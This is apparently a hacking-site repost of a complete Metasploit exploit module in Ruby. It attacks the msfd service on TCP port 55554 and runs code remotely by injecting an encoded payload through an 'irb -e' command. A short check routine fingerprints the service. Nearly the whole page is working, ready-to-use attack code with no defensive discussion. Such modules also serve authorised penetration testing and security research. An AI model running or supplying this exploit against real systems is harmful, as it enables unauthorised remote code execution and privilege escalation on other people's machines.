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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Metasploit msfd Remote Code Execution',
      'Description'    => %q{
      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. If this socket is accessible on a remote
      interface, an attacker can execute commands on the victim's machine.

      If msfd is running with higher privileges than the current local user,
      this module can also be used for privilege escalation. In that case,
      port forwarding on the compromised host can be used.

      Code execution is achieved with the msfconsole command: irb -e 'CODE'.
      },
      'Author'         => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
      'License'        => BSD_LICENSE,
      'Platform'       => "ruby",
      'Arch'           => ARCH_RUBY,
      'Payload'        =>
        {
          'Space'    => 8192,   # Arbitrary limit
          'BadChars' => "\x27\x0a",
          'DisableNops' => true
        },
      'Targets'  =>
        [
          [ 'Automatic', { } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 11 2018',  # Vendor notification
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(55554)
      ])
  end

  def check
    connect
    data = sock.get_once
    if data.include?("msf")
      disconnect
      return Exploit::CheckCode::Appears
    end
    disconnect
    return Exploit::CheckCode::Unknown
  end

  def exploit
    connect
    sock.get_once
    sock.put "irb -e '" + payload.encoded + "'\n"
    disconnect
  end
end